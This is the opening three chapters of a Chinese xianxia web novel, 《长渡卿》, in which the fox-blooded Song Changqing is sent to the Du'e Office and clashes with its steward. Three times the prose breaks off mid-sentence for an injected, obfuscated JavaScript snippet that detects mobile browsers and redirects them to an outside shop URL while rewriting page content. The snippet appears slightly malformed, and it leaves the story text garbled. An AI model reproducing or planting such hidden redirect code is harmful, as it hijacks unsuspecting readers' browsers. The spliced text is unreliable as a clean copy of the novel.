《长渡卿》 1. 小天君 文昌殿。 积雪落满了枝头,厚厚的一层看着让人心惊,地上的路也被雪埋了个七七八八。 天庭无四季之分,每日什么天气全凭玉帝陛下心情。 心情好便风和日丽,若稍有不虞,整个天庭的上空便都是阴沉沉的。 只是今儿个不知什么人抽了风去气玉帝,天庭竟飘飘扬扬下了大半日的雪,看着还有要继续下去的意思。 弄得文昌殿内连烛台也蒙上了一层水汽,用仙力怎么都清理不掉,雾蒙蒙的一层又看着实在心烦,往日十指不沾阳春水的神仙们只得放弃仙术,自己拿起了软布擦拭。 最角落里,两个身着碧色仙衣的仙娥一边心不在焉地擦着烛台,一边小声交谈着,个头较矮的小仙娥腰上挂着翠色玉珏,探头探脑的往外看: “麦冬姐姐,今日是怎么了雪下得这么凶?我上天庭以来还从未见过这般大的雪呢。” 麦冬眉目清秀,腰上的玉珏比她的颜色要更深些,仙衣上的绣样也更精致,听到她的话忙竖起一根手指在唇边,轻“嘘”一声: “小声些,可别让人听到了。” “大概是因为陛下今早把小天君点到渡厄司麾下去了,小天君不服气,两人吵着架呢。” “哪个小天君?” “咱们天庭哪里来的第二个小天君啊,就……就那个……” 麦冬四处张望一下,没有见到那个红色的身影,这才松了口气,凑过去悄声道:“就是那个疯子呐。” “除了他,还有谁能惹得陛下降这么大的雪。” 小仙娥手上擦拭的动作不自觉慢了下来: “可我听说,玉帝不是向来最疼爱这个外甥么,舍得把他送到渡长君那个冷面阎王手底下?” “对啊,怎么舍得呢?” 清浅的男声在身后响起,尾音慵懒,带着一股子勾人的味道。 就是这语气着实不怎么好,听起来还有几分咬牙切齿。 两人听到这声音,下意识回头,便和一双半眯着的眸子对了个正着。 此人披散着发,一袭红衣,外袍松松垮垮的套在身上,眼眸狭长,眼尾上挑,眸光流转间仿佛要把人的魂都给勾走,长眉斜飞入鬓,唇色艳若朱砂,右耳还戴着个白玉坠子。 传言中小天君宋常卿身具青丘狐族血脉,容貌妖冶,举手投足间自带风流。 且性子也随了那帮狐狸,记仇得很。 而此时站在面前的这人,红衣赤足,金眸红瞳,耳坠白玉…… 不是她们刚刚议论的那个“疯子”宋常卿,还能是谁? 两人脸色顿时大变,齐齐后退两步,把手上软布往袖里乾坤一扔,屈膝半蹲行礼,一连串动作行云流水: “见过宋小天君!” 宋常卿这才站直了身子,头上的玉冠刚刚在路上已经被他扯下来了,黑鸦鸦的长发没了束缚,一直散落到地上。 他随意地抬脚踢了踢,几缕乌黑的发便和衣摆混在一起,又出现在了两个仙娥的视线中: “刚刚说什么呢,再说两遍让我听听,怎么样?” 两人素来听闻宋小天君的威名,这可是个连玉帝都不放眼里的主儿,如今私下议论对方被抓了个正着,吓得舌头都捋不顺溜了,忙不迭认错: “小仙不……不敢!” “小……小仙言辞不当,妄议天君,按例当打十大板……扣半月月俸,茯……茯苓不知劝阻,当与小仙同罪,不敢请求天君谅解,我……我们即刻便去领罚!” 麦冬僵着身子,死死盯着地上那片殷红色带着金色暗纹的衣角,叭叭叭说了一大堆,连头都没敢抬一下,像是生怕现在不说完,往后就再没机会说了一般。 说完便悄悄拉了拉身边人的袖子,轻车熟路的准备借着领罚的由头溜走。 若是平时,她们跑了也就跑了,宋常卿知道自己在天庭众仙口中一向名声不大好听,他又不是那种将一大堆条条框框都熟记于心的老古板,这种事情压根懒得过问。 但今日不巧,宋常卿刚从凌霄殿回来,不但未能改变玉帝要将他下放去渡厄司的决定,还被痛批了一顿,心里本就不大爽快,回来又碰见这两个小仙娥在悄悄说自己坏话。 不让她们好好长长记性,岂不是愧对了自己这“疯子”的名号? 宋常卿勾着唇角,极轻地笑了一声,慢悠悠道:“站住。” 语调里的冷意几乎要溢出来,两个正垂着头悄悄往外挪的仙娥动作一顿,连忙站直了身子扭回去,只是头还是没敢抬,死死盯着脚尖。 “天……天君还有何吩咐?” 宋常卿却又不吱声了,只是自顾自捻着耳朵上的坠子,周围沉默得可怕。 这么过去了快一盏茶时间,两个人脑中的画面已经进行到小天君计划把她们埋哪了,宋常卿总算是开了口: “这会儿知道怕了,刚刚说我是疯子的时候怎么不知道怕?” 两人沉默不语,只是浑身抖个不停。 “抖什么,我会吃人?” 茯苓,也就是那个稍矮些的仙娥又是浑身一抖,连忙摇头:“不不不……不会!” 怎么听都像是在说“会”。 宋常卿又用扇子柄敲敲麦冬埋着的头:“低着头做什么,抬起来。” 麦冬迟疑一瞬,缓缓抬起了头,只是眼睛依旧垂着,生怕一抬眼,又和宋常卿对视。 宋常卿看着她脸上那副视死如归的神情,轻“啧”一声,像是没了什么逗弄的兴致: “这幅要死要活的样子,我何时说过要罚你了?” 茯苓显然是个直性子,闻言猛地抬起头,眼中满是惊喜:“天君您不罚我们?” 宋常卿还在摆弄着手里的扇子,闻言似笑非笑的看向她,道:“罚不罚你,我说了可不算。” 茯苓一张小圆脸顿时皱了起来,梗着脖子问道: “为……为什么啊,天君你可别拿小仙开玩笑了。” “刚刚才说了不罚,现在又要变卦,哪有这样的?” 袖子被猛地一拽,茯苓才反应过来自己刚刚竟然和位列天庭三害之一的小天君理论。 想到天庭传闻中这位祖宗的各种事迹,她顿时觉得自己小命不保,“扑通”一声跪在地上就要磕头: “小仙一时口无遮拦,请天君见见见……见谅!” 宋常卿打开扇子一挥,一道仙风扫过去,止住了她磕头的动作,有些烦躁的踢踢衣摆:“烦不烦,成天搞磕头认罪这一套。” 茯苓这下磕也不是不磕也不是,僵在那手脚不知道该往哪放。 好在此时进殿来的文昌帝君救了她一命: “小天君您怎的到这来了,在下正找您呢。” 文昌帝君身穿紫袍,衣角用银线绣着云纹,一副儒雅的中年人模样,他提着袍子阔步走来,先是朝宋常卿作了个揖,视线扫过边上杵着的两个仙娥,问道: “这两个小仙侍新来的不懂事,如何惹着您了?若是触犯了天庭的律法条例,在下必然依律办事,严惩不贷。” “若是哪碍着您的眼了的话……恕您听我一句劝,再晚些您就去渡厄司了,往后估计也见不着了不是?” 宋常卿一听这事儿便浑身不爽,随意的回了个礼,动动手指招来一片云半躺上去,脚尖在半空晃着: “没什么,我问点事情罢了,谁知道她们怎就吓成这样。” 宋常卿吓唬归吓唬,倒不至于真让这两个小姑娘受罚。 更何况…… 宋常卿扫了眼麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176434|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬和茯苓腰上挂着的玉珏。 一个一等仙侍,一个三等,文昌帝君也好意思说出新来的不懂事这种话,他有这么吓人么? 宋常卿不知道的是,如今全天庭都知道他被点去渡厄司这鬼地方,还为此和玉帝吵了一架,虽说暗地里拍手叫好,但谁也不敢这时候来触他霉头。 渡厄司虽说身为三司之一,比文昌殿还要高上一级,但鲜有人问津,做的又都是些极危险极琐碎的差事,被点到那儿去,和打入冷宫也没什么区别了。 至少于宋常卿而言,这绝对是下放而非升职。 文昌帝君一听到小天君在文昌殿中训起了人便紧赶慢赶的从别处回来了,生怕宋常卿因为自己心情不顺,拿其他人出气呢。 宋常卿的回答倒是出乎文昌帝君的意料,只得赔着笑道: “她们是胆子小了些,倒是在下想岔了。” 宋常卿道:“你这时候不去赏你的荷花,来这找我做什么?” 文昌帝君轻咳两声,脸上还是呵呵挂着笑: “咳咳……陛下不是把您的名牌挂到渡厄司下头了么?在下便冒昧来问问,您准备何时过去?” 他供了这祖宗几百年,早等不及要把人送走了。 宋常卿转了转手里的扇子,凉凉道:“不去。” 文昌帝君顿时有些捉急,忙道: “可……可这是陛下的命令,您要是拒不听令……这这这……” 宋常卿依然是那副浑不在意的样子,还伸了个懒腰: “我就不听,他又能拿我怎样,停了我的俸禄,再捆着扔进去不成?” 文昌帝君擦擦额头冒出来的冷汗,道: “那个……小天君啊,陛下就是这么和在下说的。” 他原本还想着玉帝陛下那句“他不自己滚进去就敲晕了用缚仙索捆着扔进去”该怎么传达,宋常卿自己说出来倒是省了他的事了。 宋常卿猛地坐直了身子:“他竟然真打算这么干?!!” 文昌帝君干笑着,答道:“小天君,其实去渡厄司也没什么不好的不是么?渡厄司作为三司之一,还由渡长君执掌,比我这文昌殿可强多了。” 宋常卿冷笑:“不去,他不是认为我‘心性不足,难堪大任’吗?我若去了渡厄司,岂不是给人家添乱?” 文昌帝君顿时一噎,忙帮着玉帝开脱: “怎能这般想呢,陛下想必是认为那般言论过于荒谬,便没去反驳,您的能力,文昌殿上上下下这么多同僚可都看得清清楚楚,何况陛下呢。” “不去。” “您和陛下这般置气,不过就是认为陛下看轻了您么?这样一来,渡厄司就更该去了啊。” “那地方常年都缺人的很,虽说差事麻烦累人了些,但功劳遍地,以您的能力定然能够大展拳脚,做出一番成绩来让陛下刮目相看啊。” 宋常卿油盐不进:“不去。” 文昌帝君差点给宋常卿跪下: “祖宗,您就当是可怜我成吗?陛下都发话了,我要不能将您劝去渡厄司,往后这文昌帝君的位子就得换人坐了啊!” 宋常卿却笃定道:“吓唬人的话罢了,要真这么干,往后他身为玉帝的威信还要不要了?” 茯苓在一旁悄声嘀咕道: “可小天君要这么和陛下一直僵持下去,不一样于陛下的威信不利吗?” 她以为自己的声音已经足够小,奈何宋常卿和文昌帝君的修为都不知道比她高了多少,将这两句话听了个一清二楚。 宋常卿本就被文昌帝君一番话说得有些意动,茯苓嘀咕的话又让他叹了口气。 这一句算是戳到点子上了。 小天君天不怕地不怕,唯独怕玉帝因自己的事而失了威信。 2. 渡厄司 其实宋常卿并不在意自己在何处任职,升职与否,之所以要和玉帝对着干,不过是因着那句“心性不足,难堪大任”。 今早玉帝依惯例召众仙于杏园集会,天庭凡是有名号的神仙除了渡厄司那批人尽数到场,各自闲聊。 聊着聊着,话题不知怎么就转到了天庭三害头上。 执掌渡厄司的渡长君他们惹不起,那位笑里藏刀的敛光君又不敢得罪。 便将矛头对准了看起来好招惹些的小天君。 一个排行末位的星君骂得情到深处,直接指着宋常卿鼻子说他“心性不足,难堪大任”,声音大得所有人都听了个清清楚楚。 宋常卿性子傲,听不得有人如此骂他,当即便要回骂过去,玉帝却打断了他的话,并当着众仙的面将他点去了渡厄司。 宋常卿不服气玉帝做的决定,集会后又冲去凌霄殿理论,两人不欢而散。 其实他很清楚玉帝从未做过于他不利的事情,这次的“下放”不是临时起意,且玉帝必然计划了许久,今日不过是借了那一阵势头。 那个挑事儿的星君被宋常卿拿鞭子抽了一顿,又押去善罚司挨了打扣了俸。 可那星君指着宋常卿骂的那句话却像是一根鱼刺卡在了喉咙里,提不上有多么无法忍受,却刺得他心口生疼。 分明早已经听惯了那些中伤的话,更恶毒的也不是没有。 …… “我顶多去那边两个月,算是给他个面子,之后再怎么我都不管了。” 文昌帝君口干舌燥,闻言总算是松了口气: “那便好,您看看有什么要带的,另外陛下说了,您可以带两个随侍的一同过去。” 一边说着,余光瞥见麦冬和茯苓还杵在边上,忙扔了个眼色示意她们离开。 两人会意,悄悄踮起脚朝外挪。 随侍的人? 宋常卿有些意外,以他的名声,哪有人敢跟着,便问道: “舅……他都安排好了?” “舅舅”两个字刚吐出来一半,又被他咽了回去。 文昌帝君老实道:“陛下说让您自己找。” 宋常卿:“……” 视线刚好瞄到正准备偷溜的两人,便道: “那就她们俩吧,你帮我记着,回头把名牌也挂渡厄司去,那个矮墩墩的叫茯苓,另一个……先回来,你叫什么?” 两人欲哭无泪,老老实实地挪回原地,麦冬屈身答道: “回天君,小仙名唤麦冬。” 宋常卿道:“随我去渡厄司,不愿的话……罢了,不愿就不愿吧。” 麦冬和茯苓对视一眼,咬牙应道:“小仙愿意!” 她们两个跟脚不算高贵,在文昌殿待到头也不过是个仙侍。 听文昌帝君的描述,渡厄司于小天君这等人都颇有裨益,与其在文昌殿蹉跎着,倒不如跟着去渡厄司搏一搏。 宋常卿倚在云上荡着脚,晃了晃扇柄: “那挺好,就她们了,要你两个人,没问题吧?” 文昌帝君连连点头,道:“哪里哪里,能随着小天君您,是她们的福气。” 能把这祖宗送走就行! “说起来……” 宋常卿眼眸转了转,最终落在茯苓身上:“我先前好像听到你骂了谢长渡一句冷面阎王,对吧?” 他脸上慢慢现出一抹笑意,露出两排白森森的牙:“正好跟我去渡厄司请罪呢。” …… 两个时辰后。 宋常卿和两个背着包袱瑟瑟发抖的小仙娥,被文昌帝君和和气气的送到了渡厄司大门口。 “一刻钟都不想拖,你这是送瘟神呢?” 宋常卿双手抱臂,颇为不满地扫了文昌帝君一眼,又将视线移向渡厄司内。 渡厄司地处偏僻,又有结界环绕,宋常卿几乎从未来过。 这话也不怎么准确,以前的渡厄司外是没有结界的,冷冷清清,连个人影儿都见不到。 但宋常卿来到天庭的头两百年都把自己窝在文昌殿里,也就是最近这两百来年才出来行走得多些。 那会儿渡厄司外头已经罩上了结界,就是偶尔几次从旁边过去,也只能看到一片白雾。 这是宋常卿头一回穿过那片白雾,站在渡厄司门前,眼前的景色却有些出乎他的意料。 没有想象中鬼气升腾,一片阴森的场面,而是青瓦白墙,朱漆大门两侧各站着名身披甲胄的守卫。 自大门往院里看去,曲水折廊,树影花窗,瞧着颇具雅致。 宋常卿闲时曾到凡间转悠过几圈,渡厄司这景色,看着倒不大像天庭,而像是凡间江南的某处园林。 若不是门匾上那金光流转的“渡厄司”三个大字,宋常卿一定觉得是文昌帝君带他们走错了地儿。 文昌帝君笑呵呵道:“早些到也能早些安顿下来不是?我方才已经给接应的仙使传了信,您等下随着他进去就成,在下就不跟着进去凑热闹了。” “这里真是渡厄司?” 宋常卿瞧着里头那一帮帮穿着黑白相间的袍子,抱着摞得比人还高的玉简和折子来来往往的小文仙,若有所思道: “我怎么觉着比你那文昌殿还要像文昌殿些。” 文昌帝君心里暗骂一句,表面上仍挂着笑,拢着袖子站在宋常卿身侧,袖子里手指快把玉牌扣出火星子了,不停催着那接应的人出来。 文昌殿那帮文仙太过古板,办事拖拖拉拉,其他各殿若非必要,宁可自己折腾着摸索都不愿将文书送过去。 如今闲得都快头顶上长草长花儿长蘑菇了。 这话倒不是夸张,如今天庭不少神仙都由花草树木化形而成,性子温和好说话,处理起事情来有条不紊,故而大多数文职都交由他们担任。 但植物化形也有些不好的地方在,比方说……太过闲散或是太过紧张,以至于仙力失调时,就开始长叶开花结果子。 宋常卿从茯苓脑后的叶子里扯了颗浅紫色的果子下来,扔到口中嚼了嚼: “味道还行,再结几颗。” 茯苓听到他的声音浑身一抖,发现自己出门前好不容易收起来的叶子又冒出来了,连忙催动仙力收好,看着面前渡厄司的门匾,心如死灰: “天天天……天君,要不您还是罚我吧……” 宋常卿又换了个姿势站着,本就松松垮垮挽在脑后的头发随着他的动作,又松了几分,他懒洋洋地半眯着眼,从袖子里掏出扇子敲敲她的头顶,一双狐眼勾魂夺魄,不怀好意的笑着: “我罚你做什么?你骂的又不是我,怎么罚你那是谢长渡的事儿。” 茯苓脚下又是一软。 谢长渡是两百余年前新上任的渡厄司掌司,玉帝亲赐封号渡长君,众仙倾力评选出的天庭三害之一。 与小天君的恶劣性子不同,此人以手段狠辣,极爱干活而著称。 手段狠辣,是由于谢长渡刚上任不久,地府与天庭便骤然间断了联系,十殿阎王下落不明,前任掌司了却执念投入轮回。 渡厄司这么一个原本在天庭内可有可无的闲散部门,骤然扛起了功德计量,万物轮回的重任,其压力可想而知。 但当时初上位的谢长渡戴着副沉银面具,一枪一剑硬是凭着雷霆手段压下了动荡,以一己之力重辟轮回台,镇压四处逃逸的恶鬼,一一审判。 连着数十年,渡厄司上空都飘荡着各种惨嚎声,开始还有些人过去看看热闹,后来因为声音太渗人,几乎都没人来这块地方了。 再后来,谢长渡在渡厄司周围设起了结界,就更没人吃饱了撑的来这边闲逛了。 极爱干活则是因为他几乎从不休息,连带着渡厄司内其他人也忙得不可开交,这一点,光看那些院子里抱着玉简来来去去的小文仙眼下的黑眼圈和身周的沉沉死气就能知道。 在别的仙君手下工作,还能隔三差五偷个懒,再松散些譬如文昌殿,一年休息364日。 但在渡厄司里,连株刚生了灵智的草也要连根拔起种到盆里给支笔,批上几年文书再去文昌殿报道。 因此而得名“牛马司”,归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176435|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根究底,还是因为地府和前任掌司留下的那堆烂账。 原本的天庭,三司一府,下辖十四殿,其中地府独占十殿,另外两司则分别是文昌殿、观星殿所属的善罚司,和武昌殿、天王殿所属的兵马司。 善罚司掌陟罚臧否,督财司禄,仙籍登记,命途姻缘等文职。 兵马司掌降妖除魔,天庭守卫,兵器铸造等武职。 地府掌天下万物轮回转世,功德计量。 渡厄司则职如其名,救苦渡厄。 听着倒是好听,实际就是跟在其余两司一府后头捡点事情做,今日度化两个孤魂野鬼,明日审只戾气冲天的妖魔,闲得不行。 也不知道为什么能一直存留着不被取缔。 而地府的骤然消失让职能相似的渡厄司被赶鸭子上架,渐渐便形成了如今三司四殿的局面。 当年之事有不少人试图趁机在渡厄司中插上一脚,但都被谢长渡一个个押上了诛仙台,最终送入轮回,他在众仙眼中自然也成了瘟神一般的存在。 宋常卿能仗着自己的身份和那股子疯劲儿随意打趣这位渡长君,别人却没那胆子附和。 武仙于文仙天生便有压制力,更别说是谢长渡这种尸山血海中走出来的,光是听到个名字便能吓倒一大片人。 茯苓已经吓得站都站不住了,脑后好不容易收回去的叶子又冒出来,结了一连串果子,麦冬忙在一旁扶着她。 只是她自己头回到渡厄司这种传言中极为可怕的地方,也紧张得不行,两人互相依偎着站在那儿,活像两只被风吹雨打的小鹌鹑。 宋常卿扇子一挥,将那一小串茯苓子都收进袖子里,打算留着以后吃。 今天有点吃腻了。 …… 渡厄司内。 裹着白色大氅的男子晃着不断闪烁的玉牌,将一枚玉简“啪”的一声扔在桌上,窝在躺椅里极为闲适的翘着腿,看向一旁端坐着的人: “真不让我去把那位接进来?小心待会儿发飙,把你这渡厄司给拆了。” “不必,”一只修长白皙的手将桌上的玉简拾起,玄色的衣袖下一枚红绳串着的温润白玉坠子若隐若现。 “他如今怒气上头,晾着冷静一会儿也好。” 谢长渡看了看玉简中的内容,见又是几个孤魂野鬼功德计量完,投入轮回这类的小事,随意的执笔打了个记号,将玉简扔回男子怀中: “那位小天君性子顽劣,若不是玉帝命令,我连结界都不会让他进来。” “还有,下次这些小事你自己批过就行,别拿到我眼前来捉弄人。” 裹着白色大氅的男子“切”了一声,将那片玉简接下,拿在手里来回把玩着: “行行行~您是掌司您说了算,回头遭殃的又是我们这帮下属。” 谢长渡却直接起身离开: “凡间又有厉鬼现世了,我走一趟。” “稍后你去和那位小天君谈谈,问他来渡厄司究竟是不是真心实意,若不是,就不必来了。” “不必担心玉帝的态度,我会去说。” …… 又在门口等了约半个时辰,宋常卿站不住了: “接应的人呢?” 小天君活了几百岁,头一回等人等了这么长时间。 宋常卿脸色臭得很:“若渡厄司就是如此待人接物的话,本君就不该来这!” 文昌帝君心里暗暗叫苦,“本君”的自称都出来了,离这祖宗发飙也不远了。 他能做的就是尽量为渡厄司派来接应的那位说两句好话,再拖些时间。 “小天君别气,渡厄司事情多人手少,那位仙使临出门又被什么事情绊住了也说不定?左右也就这点时间,咱们再等等,再等等……” “什么事情能让他晾本君半个时辰?” 显然是故意的! 宋常卿一甩袖子,径直朝里头走去:“不来也罢,本君自己进去!” “诶!小天君要不您再等等,仙使没准马上就来了……小天君您慢点,等等在下啊!” 3. 敛光君 文昌帝君看着宋常卿气势汹汹往里走的背影,眼见着劝不住,只得硬着头皮跟上,茯苓和麦冬面面相觑,一咬牙一跺脚也跟了上去。 门口的守卫素闻宋小天君的威名,不敢阻拦,就这么放任几人闯了进去,一个稍微机灵点的连忙摸出玉牌往里报信。 渡厄司内的景色远比在外面看着要更雅致,折廊横跨过流水,水中种着荷花,粉白色的花瓣上面积了一层薄雪,被压得微微下垂,更显娇嫩。 荷花向来只开于夏日,先前那场雪倒是造就了一副奇景。 宋常卿一个眼神也没分过去,沿着折廊左拐右拐,跟着一队捧着玉简和折子的小文仙进了个院子。 此时的人间正值春日,院中一棵枝繁叶茂的桃树也应了人间之景,正灼灼的开着花。 树下一张小案,两个蒲团,案上放着一架琴,旁侧木质的躺椅正悠悠的摇着,上面不知谁遗落的蒲扇也随着摇动一晃一晃。 桃花纷纷扬扬,同细雪一起落了满地,白色与浅淡的粉色交杂着,院里尽是暖融融的春意,与庭院中的夏日又截然不同。 一墙之隔,春夏立分,也就在天庭才能见到这般景色。 小文仙们虽好奇跟着他们进来的人是何身份,但没一个敢抬头去看,一个个捧着文书进了屋子,然后又捧着另一批文书出来,如同来时那样一个跟着一个,外出放风的小黑鸭子般连成一串走出去。 宋常卿便倚在门框上,沉着脸看他们进进出出,当那一溜小文仙快要走完的时候,突然伸手拦下了缀在最后的那个。 身形纤瘦的小文仙见自己被跟着进来的仙君拦下,宋常卿又显然是为首的那个,忙弯腰行礼: “见过这位仙君,见过文昌帝君,请问拦下小仙有何贵干?” 宋常卿暂时收敛了身上的冷意,用扇子柄指了指他们刚出来的屋子:“劳烦问一句,那里头的是你们掌司么?” 小文仙忙道: “回仙君,小仙地位低微,哪有机会亲见掌司?那屋是宿禾大人的地方,我们送去的文书会先由大人看一遍,较为重要的再由大人转交给掌司。” 宋常卿点点头,本以为这帮小文仙手上捧着的玉简都是送去给他那挂名上司的,没想到扑了个空。 他忽然侧头看向文昌帝君:“宿禾是什么人?” 文昌帝君拢着袖子站在一旁,道: “宿禾是少数兽类化形的文仙之一,封号敛光帝君,渡厄司未设殿,我们通常只叫他敛光君,百年前才飞升上来的,您甚少在这边行走,不认得很正常。” “如今任渡厄司总管,是渡长君手下的得力干将,渡厄司迎来送往这些个事情都交由他处理,文书也要先由他过目,再将重要的送去渡长君手上。” 还有一点没说的是,此人因说话太过气人且手段阴狠,与小天君和渡长君同为天庭三害之一,常人唯恐避之不及。 想到这里,文昌帝君暗中叹了口气。 天庭三害齐聚渡厄司,应该……不会闹出什么幺蛾子来吧? 宋常卿不知文昌帝君心里在想些什么,猛的抓住了他口中的“迎来送往”四个字: “所以说,负责接我进渡厄司的仙使,是他派的不错吧?” 文昌帝君轻咳一声:“他并未告诉我接应的仙使是哪位,不过此事应当是由他处理的。” 宋常卿又转头看向旁边的小文仙: “你们方才进去的时候,那位宿大人在干什么?” 小文仙不明白为何这位仙君身周骤然升起了一股杀气,老老实实答道: “宿禾大人正在里头看话本吃蜜饯呢,近些日子人间正当盛世,世事太平,渡厄司没有往常那般忙了。” “那就行,”宋常卿微眯起眼睛,纤长的睫毛掩住危险的眸光,明灭不定,“敢让本君在外头干等这么久,呵。” 文昌帝君顿感不妙,还未出言制止,就见宋常卿将手中的青玉扇子往小文仙怀中一抛: “多谢告知,这扇子就当报酬了。” 然后便转身朝那虚掩着门的屋子走去,手中一条猩红色的长鞭已然开始显形。 *** 宿禾懒洋洋的摇着摇椅在屋内看话本,时不时伸出手从一旁书案上的碟子里捏颗蜜饯来吃。 玉牌被撂在书堆里,微光闪了两下,又复归沉寂。 凡间的话本子可比天庭日复一日的无聊日子要有趣多了,宿禾一边嚼着蜜饯,一边慢慢往下翻了一页。 看到精彩处,嘴里的梅子也只剩了个核,宿禾伸手又从手边的碟子里掂了一颗,刚要往嘴里送。 “砰!” 屋门被人猛的踹开,一个手持长鞭的红色身影站在门口,语气中满是冷意: “宿禾大人,好兴致啊。” 宿禾若无其事的将刚刚掉在大氅上的蜜饯拾起来,扔掉,然后才把目光投向门口,面露意外: “小天君来了?在下事务缠身,有失远迎,不知您是如何找到我这来的?” 宋常卿看了看他手里握着的书,封皮上头明晃晃的“纨绔飞升天庭后”几个大字,显然是从凡间书阁里淘来的话本子。 又看看案上的碟子,里头盐渍梅子,蜜金桔,山楂脯等各种蜜饯堆得小山一样,也不怕串了味儿。 这会儿已经下去了一个山尖。 宋常卿将视线移回宿禾脸上,平静道: “事务缠身?” 宿禾轻咳两声,挥手将装蜜饯的碟子和手中的话本都给收了起来,又变出套茶具来: “咳咳,小天君莫气,您先把鞭子放下,请坐,请坐。” 宋常卿却没有如他所愿,而是猛地倾身逼近,鞭子在手中绕了几圈,鞭身抵在宿禾脖子上: “敛光帝君将本天君晾在渡厄司外头半个多时辰,就没有什么话要说吗?” “以你的所作所为,本天君治你个以下犯上,不过分吧?” 宋常卿刻意加重了“帝君”和“天君”几字的声调。 天庭向来等级森严,玉帝之下便是执掌三司的三位天君,天君之下为几位帝君,帝君之下为星君,再往下才是普通神仙和更低一级的仙侍。 那些普通神仙和仙侍又分了一二三等,低等级的神仙若冒犯了更高级的仙君,一顿罚是免不了的。 宋常卿未得封号,不在三位天君之中,地位却也不是宿禾这个帝君能比的。 文昌帝君能与宋常卿平等而论是因为他不喜那些繁文缛节,用地位压人一头,但这不意味着他不会摆天君的架子。 宿禾却抬手将鞭子推了推,靠在躺椅上一副为难的模样: “小天君这可就冤枉在下了,您屈身下就,渡厄司上下可谓欢欣鼓舞激动不已,我本是打算亲自去迎接的,奈何掌司有令,不让我等去迎您呐。” 宋常卿轻呵一声,鞭身抵得更加用力,将宿禾的下巴抬起来: “拿谢长渡当挡箭牌?你最好说的是真话,不然……” “呵。” 后头的话宋常卿没继续往下说,但显然是不能善了了。 宿禾下巴被抵得生疼,神色却很平静,似乎面前用鞭子抵住他命门的,不过是个淘气的小孩子:“可我看小天君来我们渡厄司,似乎也不是真心实意啊。” 他难得没耍心思,劝的诚心诚意: “小天君啊,渡厄司干的都是些杀人放……啊不,挫骨扬灰……不不……做牛做马……也不对,总之就是些又累又危险的活儿,以您的性子做不来的,要不还是回文昌殿去吧?” “我们掌司说了,这事儿算在他头上,到时候就说是他不愿意收您,不是您不愿意来,玉帝陛下也不会硬坳着把您再塞进来的。” 宋常卿原本憋在胸中的那团火顿时燃得更旺了。 他忍不住轻嗤一声:“我本是不想来你们这地方的,但现在……” 他手中鞭身又往上抬了抬,逼得宿禾整个人都贴回了躺椅上: “我还非来不可了。” 说完,金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176436|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色的瞳孔骤然缩成竖状,妖气弥漫开来,宋常卿伸出舌尖,舔了舔殷红的唇,轻声道: “另外,劝你别再来惹我。” “你知道的,我们狐狸啊,可喜欢吃蛇了,尤其是你这种,身上带毒的。” 宿禾浑身汗毛乍起,这是被天敌盯上而下意识产生的心悸感,不过只是出现一瞬,便消失殆尽了。 宋常卿没有和宿禾多说,握着鞭子的手捏紧又松开,最终还是没忍住一鞭子抽翻了旁边的书案,转身走出房门,徒留宿禾看着满地散落的玉简和折子头疼。 宋常卿刚出门便对上了三道紧张的目光,瞧着那三人你看看我我看看你,谁也不敢开口的样子,他扯了扯嘴角,道: “你们这什么表情,我还能在渡厄司的地盘上把他们总管抽一顿不成?谢长渡可不会干看着。” 没动手就好,文昌帝君轻舒一口气,小心翼翼的问道: “那小天君,咱们现在……” 宋常卿眯着眼,满脸凉意:“回文昌殿。” 文昌帝君一口气差点又倒了回去: “呃……咳!您说什么?” 宋常卿掂着鞭子,瞳孔直到现在才缓缓变回原样,嘴角绽开一抹笑: “你去回禀玉帝,今天发生的事情一个字也不要落,顺便帮我带句话,就说……渡厄司不欢迎我,我也就不去碍他们眼了。” “我要他们求着我来渡厄司。” 文昌帝君脊背一凉,顿时明白了宋常卿的意图。 宋常卿是玉帝钦点到渡厄司的,如今小天君到渡厄司来却吃了闭门羹,宿禾作为明面上的主使,若是不想被玉帝问罪,指定是要想着法子把宋常卿给哄回来的。 到时候这事怎么算,就全看宋常卿的态度了。 文昌帝君略有些怜悯的看了眼半掩的屋门,惹谁不好呢惹这祖宗,天庭三害哪个是好惹的? 不对,屋里那位也是三害之一,而且是出了名的吃人不吐骨头,这两个闹起来,往后天庭有得好戏看了。 四人折身朝外走,刚到院门口准备出去,一个披着斗篷的人恰好也要进门,见到宋常卿似乎有些诧异,在原地愣了一下。 等回过神来,宋常卿已经从旁侧出了门,视线中只剩下一片红色的衣角。 谢长渡脑中还回忆着方才那红衣人昳丽的脸,和他右耳坠着的白玉,记忆中的某张面孔与其缓缓重叠。 左手下意识捏了捏手腕上那颗珠子,而后抬手放下兜帽,推门走进屋内。 宿禾一见他回来,就指着被抽翻的桌案和散落满地的文书告状: 